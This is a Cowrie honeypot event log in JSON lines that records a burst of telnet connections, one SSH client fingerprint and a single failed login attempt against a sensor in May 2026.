{"eventid":"cowrie.session.closed","duration":8.703636407852173,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:37.928219Z","src_ip":"65.60.27.33","session":"11a5cbd2a705","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58694,"dst_ip":"10.17.0.5","dst_port":23,"session":"638995075e7f","protocol":"telnet","message":"New connection: 65.60.27.33:58694 (10.17.0.5:23) [session: 638995075e7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:38.023459Z"}
{"eventid":"cowrie.session.closed","duration":34.15309381484985,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:40.222966Z","src_ip":"62.210.97.77","session":"9c72e7eb5dc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48780,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc1f1656503b","protocol":"telnet","message":"New connection: 62.210.97.77:48780 (10.17.0.5:23) [session: dc1f1656503b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:41.130126Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48788,"dst_ip":"10.17.0.5","dst_port":23,"session":"a18ca40c2a66","protocol":"telnet","message":"New connection: 62.210.97.77:48788 (10.17.0.5:23) [session: a18ca40c2a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:41.268523Z"}
{"eventid":"cowrie.session.closed","duration":41.81102180480957,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:41.516359Z","src_ip":"134.209.8.29","session":"26590ba993ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.7303581237793,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:42.606547Z","src_ip":"62.210.97.77","session":"9ae4e4b22431","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.27675127983093,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:43.274984Z","src_ip":"38.54.119.93","session":"2004fa9e31f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54564,"dst_ip":"10.17.0.5","dst_port":23,"session":"09d506664e1a","protocol":"telnet","message":"New connection: 165.232.131.181:54564 (10.17.0.5:23) [session: 09d506664e1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:43.779412Z"}
{"eventid":"cowrie.session.closed","duration":41.27535557746887,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:43.864951Z","src_ip":"62.210.97.77","session":"255d91463b6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.56712555885315,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:44.282299Z","src_ip":"65.60.27.33","session":"772f626ecbd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":47792,"dst_ip":"10.17.0.5","dst_port":23,"session":"a979a673e8e6","protocol":"telnet","message":"New connection: 38.54.119.93:47792 (10.17.0.5:23) [session: a979a673e8e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:45.475748Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48802,"dst_ip":"10.17.0.5","dst_port":23,"session":"69d5ec01f03f","protocol":"telnet","message":"New connection: 62.210.97.77:48802 (10.17.0.5:23) [session: 69d5ec01f03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:47.734640Z"}
{"eventid":"cowrie.session.closed","duration":35.29236388206482,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:47.765552Z","src_ip":"65.60.27.33","session":"2f00be72dbe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":48818,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a5dd130a6e6","protocol":"telnet","message":"New connection: 62.210.97.77:48818 (10.17.0.5:23) [session: 1a5dd130a6e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:48.150195Z"}
{"eventid":"cowrie.session.closed","duration":47.19363307952881,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:48.944312Z","src_ip":"134.209.8.29","session":"4f76d2e2e26d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38620,"dst_ip":"10.17.0.5","dst_port":23,"session":"af70e13e852a","protocol":"telnet","message":"New connection: 62.210.97.77:38620 (10.17.0.5:23) [session: af70e13e852a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:49.153316Z"}
{"eventid":"cowrie.session.closed","duration":43.91960906982422,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:50.369515Z","src_ip":"165.232.131.181","session":"1df6f30ffe03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38636,"dst_ip":"10.17.0.5","dst_port":23,"session":"f80f6afe26a8","protocol":"telnet","message":"New connection: 62.210.97.77:38636 (10.17.0.5:23) [session: f80f6afe26a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:51.044994Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56274,"dst_ip":"10.17.0.5","dst_port":23,"session":"f678f04f7fa8","protocol":"telnet","message":"New connection: 165.232.131.181:56274 (10.17.0.5:23) [session: f678f04f7fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:51.138497Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38646,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e0e3f24074e","protocol":"telnet","message":"New connection: 62.210.97.77:38646 (10.17.0.5:23) [session: 7e0e3f24074e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:51.210244Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38658,"dst_ip":"10.17.0.5","dst_port":23,"session":"733b5efd56ce","protocol":"telnet","message":"New connection: 62.210.97.77:38658 (10.17.0.5:23) [session: 733b5efd56ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:51.732948Z"}
{"eventid":"cowrie.session.closed","duration":6.41944146156311,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:51.895095Z","src_ip":"38.54.119.93","session":"a979a673e8e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.549371004104614,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:52.486103Z","src_ip":"62.210.97.77","session":"faba00360190","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.9246690273284912,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:53.063082Z","src_ip":"165.232.131.181","session":"f678f04f7fa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.53167247772217,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:53.486162Z","src_ip":"62.210.97.77","session":"4a2a77bf90d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.80483961105347,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:54.081628Z","src_ip":"62.210.97.77","session":"6b0ac74f92cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.08729004859924,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:55.687798Z","src_ip":"62.210.97.77","session":"af2ffb52af13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.474982023239136,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:56.129799Z","src_ip":"165.232.131.181","session":"5dbec6a58993","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.438441038131714,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:56.169134Z","src_ip":"62.210.97.77","session":"424df624fbe9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":38668,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f1900909750","protocol":"telnet","message":"New connection: 62.210.97.77:38668 (10.17.0.5:23) [session: 6f1900909750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:56.485627Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33412,"dst_ip":"10.17.0.5","dst_port":23,"session":"788823dedc9e","protocol":"telnet","message":"New connection: 62.210.97.77:33412 (10.17.0.5:23) [session: 788823dedc9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:41:58.911890Z"}
{"eventid":"cowrie.session.closed","duration":36.323912620544434,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:00.112056Z","src_ip":"62.210.97.77","session":"1b91e8edbbc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33426,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e2a9f31d3bf","protocol":"telnet","message":"New connection: 62.210.97.77:33426 (10.17.0.5:23) [session: 7e2a9f31d3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:00.661773Z"}
{"eventid":"cowrie.session.closed","duration":34.3600869178772,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:01.788450Z","src_ip":"62.210.97.77","session":"2c399ea299ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33430,"dst_ip":"10.17.0.5","dst_port":23,"session":"553ef067f204","protocol":"telnet","message":"New connection: 62.210.97.77:33430 (10.17.0.5:23) [session: 553ef067f204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:02.744972Z"}
{"eventid":"cowrie.session.closed","duration":31.331828832626343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:02.949764Z","src_ip":"62.210.97.77","session":"119a01ea8dc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58806,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fa4ea32e01a","protocol":"telnet","message":"New connection: 65.60.27.33:58806 (10.17.0.5:23) [session: 1fa4ea32e01a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:03.480211Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33432,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c9a1b74cef8","protocol":"telnet","message":"New connection: 62.210.97.77:33432 (10.17.0.5:23) [session: 9c9a1b74cef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:04.046737Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":59768,"dst_ip":"10.17.0.5","dst_port":23,"session":"4830383e4e6d","protocol":"telnet","message":"New connection: 65.60.27.33:59768 (10.17.0.5:23) [session: 4830383e4e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:04.364670Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":33542,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a3bcfb1d24b","protocol":"telnet","message":"New connection: 38.54.119.93:33542 (10.17.0.5:23) [session: 8a3bcfb1d24b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:05.958847Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":33308,"dst_ip":"10.17.0.5","dst_port":23,"session":"2af96fc29794","protocol":"telnet","message":"New connection: 65.60.27.33:33308 (10.17.0.5:23) [session: 2af96fc29794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:06.158704Z"}
{"eventid":"cowrie.session.closed","duration":4.007980823516846,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:07.488078Z","src_ip":"65.60.27.33","session":"1fa4ea32e01a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.988773822784424,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:10.947488Z","src_ip":"38.54.119.93","session":"8a3bcfb1d24b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.47064733505249,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:11.344250Z","src_ip":"65.60.27.33","session":"320b8dd2c6ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.802159070968628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:12.070602Z","src_ip":"62.210.97.77","session":"a18ca40c2a66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.25591063499451,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:12.712485Z","src_ip":"65.60.27.33","session":"47ab204fd8a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.232.13.218","src_port":44332,"dst_ip":"10.17.0.5","dst_port":22,"session":"496cbfb8f2e7","protocol":"ssh","message":"New connection: 156.232.13.218:44332 (10.17.0.5:22) [session: 496cbfb8f2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:13.044277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:13.049250Z","src_ip":"156.232.13.218","session":"496cbfb8f2e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:13.124349Z","src_ip":"156.232.13.218","session":"496cbfb8f2e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33146,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e8c39532cb4","protocol":"telnet","message":"New connection: 62.210.97.77:33146 (10.17.0.5:23) [session: 6e8c39532cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:13.130341Z"}
{"eventid":"cowrie.session.closed","duration":40.680097341537476,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:13.148838Z","src_ip":"165.232.131.181","session":"4a5b31d9f4ff","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ts","password":"test","message":"login attempt [ts/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:13.438988Z","src_ip":"156.232.13.218","session":"496cbfb8f2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:14.524824Z","src_ip":"156.232.13.218","session":"496cbfb8f2e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.316900968551636,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:15.446794Z","src_ip":"62.210.97.77","session":"dc1f1656503b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":45530,"dst_ip":"10.17.0.5","dst_port":23,"session":"510c46da1940","protocol":"telnet","message":"New connection: 65.60.27.33:45530 (10.17.0.5:23) [session: 510c46da1940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:16.864391Z"}
{"eventid":"cowrie.session.closed","duration":45.20166301727295,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:20.102540Z","src_ip":"165.232.131.181","session":"f9a699e8204c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.229923009872437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:20.383157Z","src_ip":"62.210.97.77","session":"af70e13e852a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.7328314781189,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:21.210358Z","src_ip":"165.232.131.181","session":"7b89c61f6e0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37602,"dst_ip":"10.17.0.5","dst_port":23,"session":"07b8645a2dc4","protocol":"telnet","message":"New connection: 62.210.97.77:37602 (10.17.0.5:23) [session: 07b8645a2dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:22.092553Z"}
{"eventid":"cowrie.session.closed","duration":34.7137885093689,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:22.448340Z","src_ip":"62.210.97.77","session":"69d5ec01f03f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":39650,"dst_ip":"10.17.0.5","dst_port":23,"session":"06056e49bf2f","protocol":"telnet","message":"New connection: 165.232.131.181:39650 (10.17.0.5:23) [session: 06056e49bf2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:22.535587Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":38906,"dst_ip":"10.17.0.5","dst_port":23,"session":"179c994bec4d","protocol":"telnet","message":"New connection: 165.232.131.181:38906 (10.17.0.5:23) [session: 179c994bec4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:22.563600Z"}
{"eventid":"cowrie.session.closed","duration":31.800798177719116,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:23.010924Z","src_ip":"62.210.97.77","session":"7e0e3f24074e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37614,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e7a6f5268d3","protocol":"telnet","message":"New connection: 62.210.97.77:37614 (10.17.0.5:23) [session: 6e7a6f5268d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:23.299935Z"}
{"eventid":"cowrie.session.closed","duration":36.03846764564514,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:24.188403Z","src_ip":"62.210.97.77","session":"1a5dd130a6e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.90821385383606,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:24.931560Z","src_ip":"65.60.27.33","session":"638995075e7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.335615396499634,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:25.380497Z","src_ip":"62.210.97.77","session":"f80f6afe26a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.4453179836273193,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:26.008800Z","src_ip":"165.232.131.181","session":"179c994bec4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.77268362045288,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:27.505511Z","src_ip":"62.210.97.77","session":"733b5efd56ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":37630,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e0b416831f5","protocol":"telnet","message":"New connection: 62.210.97.77:37630 (10.17.0.5:23) [session: 8e0b416831f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:27.547035Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":41130,"dst_ip":"10.17.0.5","dst_port":23,"session":"d93c89837113","protocol":"telnet","message":"New connection: 165.232.131.181:41130 (10.17.0.5:23) [session: d93c89837113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:27.715571Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43524,"dst_ip":"10.17.0.5","dst_port":23,"session":"773a0dc71636","protocol":"telnet","message":"New connection: 62.210.97.77:43524 (10.17.0.5:23) [session: 773a0dc71636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:29.217324Z"}
{"eventid":"cowrie.session.closed","duration":46.119285583496094,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:29.898579Z","src_ip":"165.232.131.181","session":"09d506664e1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43532,"dst_ip":"10.17.0.5","dst_port":23,"session":"b75a8e56a876","protocol":"telnet","message":"New connection: 62.210.97.77:43532 (10.17.0.5:23) [session: b75a8e56a876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:30.234768Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":43544,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6215f913a88","protocol":"telnet","message":"New connection: 62.210.97.77:43544 (10.17.0.5:23) [session: d6215f913a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:30.422912Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":60538,"dst_ip":"10.17.0.5","dst_port":23,"session":"c45c500c759d","protocol":"telnet","message":"New connection: 65.60.27.33:60538 (10.17.0.5:23) [session: c45c500c759d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:42:30.579005Z"}
